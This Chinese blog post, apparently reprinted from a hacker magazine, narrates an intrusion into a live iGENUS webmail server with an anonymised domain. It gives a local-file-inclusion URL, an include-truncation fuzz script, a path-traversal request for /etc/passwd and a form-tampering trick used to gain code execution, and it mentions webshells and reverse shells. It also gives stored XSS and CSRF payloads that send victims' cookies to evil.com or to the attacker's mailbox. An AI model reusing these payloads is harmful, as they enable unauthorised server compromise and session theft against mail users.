首页 > 渗透测试 > 对iGENUS邮件系统的一次安全检测

对iGENUS邮件系统的一次安全检测

2010年4月3日 admin  2,403 views 发表评论 阅读评论

对于iGENUS邮件系统的一次安全检测

hackerxwar/gle [0x50]

本文首发黑客防线,版权归作者和黑防所有,未经允许请勿转载。

iGENUS邮件系统是适用于Linux操作系统平台的应用广泛的一套WebMail邮件系统。使用安装程序能快速安装在CentOS Linux 3.x/4.x 操作系统、RedHat Enterprise Linux AS3/AS4操作系统上,其界面华丽,安装简单,但是却存在着严重的安全问题。

发现本地文件包含漏洞

由于是不是开源软件所以只能黑盒测试,发现登录页面存在本地文件包含漏洞,如图1所示。
看来包含的漏洞是类似于”include(‘language/’.$_GET['lang'].”_inc.php”)”,此处包含文件一般需要截断,除非我们能够控制某个’*_inc.php’文件的内容。

图1

关于Include截断

对于这种情况一般我们可以用NULL字符实现截断,对于远程包含我们还可以用”?”实现伪截断,但是由于GPC的影响--magic_quotes_gpc=on将把所有通过(GET、POST、COOKIE提交的所有的 ‘(单引号),”(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义),由于把NULL字符(%00)变成了’\0′,所以在magic_quotes_gpc=on的时候对于们包含/etc/passwd文件失败,所以在GPC开启的时候我们几乎没有办法利用需要截断的本地文件包含漏洞。但是80vul的大牛发现了一个include截断的方法,并给出了一个fuzz小程序,有兴趣的可以自己测试:
———————-
<?php

////////////////////

////var5.php代码:

////include $_GET['action'].”.php”;

////print strlen(realpath(“./”))+strlen($_GET['action']);

///////////////////

ini_set(‘max_execution_time’, 0);

$str=”;

for($i=0;$i<50000;$i++)

{

$str=$str.”/”;

$resp=file_get_contents(‘http://127.0.0.1/var/var5.php?action=1.txt’.$str);

//1.txt里的代码为print ‘hi’;

if (strpos($resp, ‘hi’) !== false){

print $i;

exit;

}

}

?>
经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath(“./”))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。
———————————-
LFI vul的利用尝试

我们先不管include截断,继续往下看。对于本地文件包含漏洞需要包含本地文件来执行php代码,所以我很自然的找上传的地方。既然是邮箱系统我们就注册个用户,应该可以上传附件,或者能够接收带附件的邮件。经测试网站只开启了收费的vip.xxxx.com的域名注册,而且注册后是不能够直接登录的,提示无此用户名,vip.xxxx.com的并没有真正注册成功,或者需要交费,后管理员开通才能使用,这样的话问题变的麻烦了。

扫了一下目录、Google “site:xxx.com”,得到的信息很少,也都没有发现什么有用信息。

利用的方法还有的把发就是想办法写日志文件,然后包含日志来执行代码,一般都包含错误日志,因为其体积相对小些,但是管理员显然修改了日志路径,或者根本就没有开启日志记录功能,没有办法找到路径包含到。
而SirGod在milw0rm.com上发布的一篇paper(http://www.milw0rm.com/papers/361),提供了一个新的方法那就是包含/proc/self/environ,然后通过修改User-Agent来写入php代码然后执行,这种方法我也在别的服务器上测试成功过,但是这次人品不咋的,返回的就像作者说的是个空白页,如下图2所示,很明显我们没法访问/proc/self/environ。
由于暂时没有办法成功利用本地文件包含漏洞,入侵似乎陷入了僵局。

图2

表单变量过滤不严漏洞

难道真的就没有办法利用了吗?过了段时间我重新回到注册页面试图发现一些隐藏着的漏洞。
在登录页面,可以发现登录的域有xxxx.com和vip.xxxx.com两种,如图3所示,注册页面的下拉列表只给出了一个vip.xxxx.com域的注册,不允许免费的xxxx.com域注册,我来看下能不能注册个xxxx.com的邮箱。

图3

查看注册页面选择域的下拉框源代码:

<SELECT>
<OPTION value=”> –  选择域  — </OPTION>
<OPTION value=vip.xxxx.com>vip.xxxx.com</OPTION></SELECT>

如果程序没有对提交的$_POST['domain']进行限制的话就有好戏看了。
对这种表单提交数据的修改方法有很多,比如本地保存html修改源代码提交,或者用firefox配合Tamper Data插件也非常方便,如果对抓包情有独钟也可以用nc提交,还有一种方法只要在浏览器地址栏执行一句javascript代码就可以,
把地址栏清空输入如下代码然后回车:

javascript:alert(document.forms[0].domain[1].value=’xxxx.com’);

弹出了’xxxx.com’,然后我们填入用户名,域选择那个vip.xxxx.com(其value已经被改为’xxxx.com’),点击下一步确定用户名和域,成功得到了想要的结果,如图4。

图4

此处的漏洞成因就跟上传的时候用javascript来检查上传文件的扩展名一样,客户端无论如何检查,只要服务端没有检查就是白费,因为我们可以用非正常用户的方式提交表单变量。
填写完相关资料,完成注册,提示可以马上登陆,用注册的x50@xxxx.com成功登录了邮箱系统,可是万里长征刚刚走完第一步。
下一步当然是找上传附件的地方上传附件了。本地建一个0x50_inc.php文件写入”<?phpinfo();?>”,写封邮件,上传附件,然后写邮件发给自己(因为这个系统对firefox支持不太好,显示有点不正常,否则直接上传附件保存草稿就可以,当然用gmail、126 等等其他邮件上传然后发送到x50@xxxx.com也可以),如图5所示。

图5

附件文件路径泄露漏洞

我们打开那封邮件,很容易看到附件的下载地址:

http://mail.xxxx.com/mail_mime.php?Cmd=Download&File=0x50_inc.php&MimeType=application/octet-stream&Size=14

在浏览器请求上面地址就能下载附件0x50_inc.php,这个URL很容易让人联想到是不是有任意文件下载漏洞?
提交

http://mail.xxxx.cn/mail_mime.php?Cmd=Download&File=../../../../../../../../../../../../../../../etc/passwd&MimeType=application/octet-stream&Size=514

提交之后下载到一个passwd文件,打开一看发现并不是/etc/passwd文件,而是如下内容:
Error open /home/temp/xxxx.com/2/l/x50/passwd
应该是用了basename函数进行了过滤,不过这也给了我们一条非常重要的信息———附件文件的绝对路径,看来display_errors=on。
因为邮件来说,附件在服务器上所在路径不是Web目录我们无法直接执行我们的php代码,但是可以通过本地文件包含漏洞包含附件。

成功利用本地文件包含漏洞

接着就是包含我们的附件了。由于我们提交的文件名是0x50_inc.php,而这套系统也没有对文件名进行限制,所以我们可以不用Include截断,也就无视GPC对本的文件包含漏洞利用的影响。直接请求如下URL:

http://mail.xxxx.com/login.php?Lang=../../../../../../../../home/temp/xxxx.com/2/l/x50/0×50

成功执行了<?phpinfo();?>,如图6所示,.接下来的事情就非常简单了,上传我们的webshell、或者直接反弹cmdshell然后提权,全随个人意愿了,也没什么好多说的,我不喜欢罗嗦。

图6
拿到shell后的总结

lfi成功利用有时候需要很多限制,对于这次成功利用本地文件包含漏洞拿到shell,虽然前面几次lfi利用失败了但是。因为一个简单的表单变量过滤不严,我们可以注册到不让注册的邮箱域,继而上传附件,而且因为没有容错语句,爆出了附件的路径地址。但是经我发现很多地方邮箱是没法成功注册的,这往往就需要暴力破解一个帐号,或者通过社会工程学来得到一个,但这些成功率并不高。有没有别的什么办法呢?

一切都还没有结束——WebMail系统的XSS漏洞

经我测试这套webmial系统还存在xss漏洞,其邮件正文没有过滤,所以我们可以盗取别人的认证信息,甚至对于熟悉web2.0的同学可以发起csrf攻击,写一个mail蠕虫等,如图7。

图7

提供一个简单的盗取cookie的方法,这也算是csrf呵。
正文里输入如下内容:
<form method=”post” action=”h&#116tp://evil.com/c.php”><input value=xss></form><script>document.forms[0].c.value=document.cookie;document.forms[0].submit();</script>
因为程序会把带有’http://’,或者带有’@'的字符串自动转成一个超级连接,action就不正常了,所以得用’&#116’替换’t’,避免’http://’的出现,同样处理’@’。至于接收Cookie的文件c.php也很简单就不给出了。有兴趣的同学可以自己测试一下试试。
还有一种就是通过邮箱收取cookie,给一个简单的例子,正文里输入如下内容,发给x50@xxxx.com,查看邮件后就会将cookie发送到你设置的邮箱里,很猥琐的样子。结果如图8:
—start—

<FORM METHOD=”post” ACTION=”send_mail.php”>

<input value=”x50&#640×50.xx”>

<input value=”csrf by 0×50″>

<input value=”3″>

<INPUT  value=’0′>

<input value=”-1″>

<input value=”false”>

<input value=”0×50 focus on web security” >

</FORM>

<script>document.sendx.Body.value=document.cookie;document.sendx.submit();</script>

—end—

图8

分类: 渗透测试 标签: , , ,
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.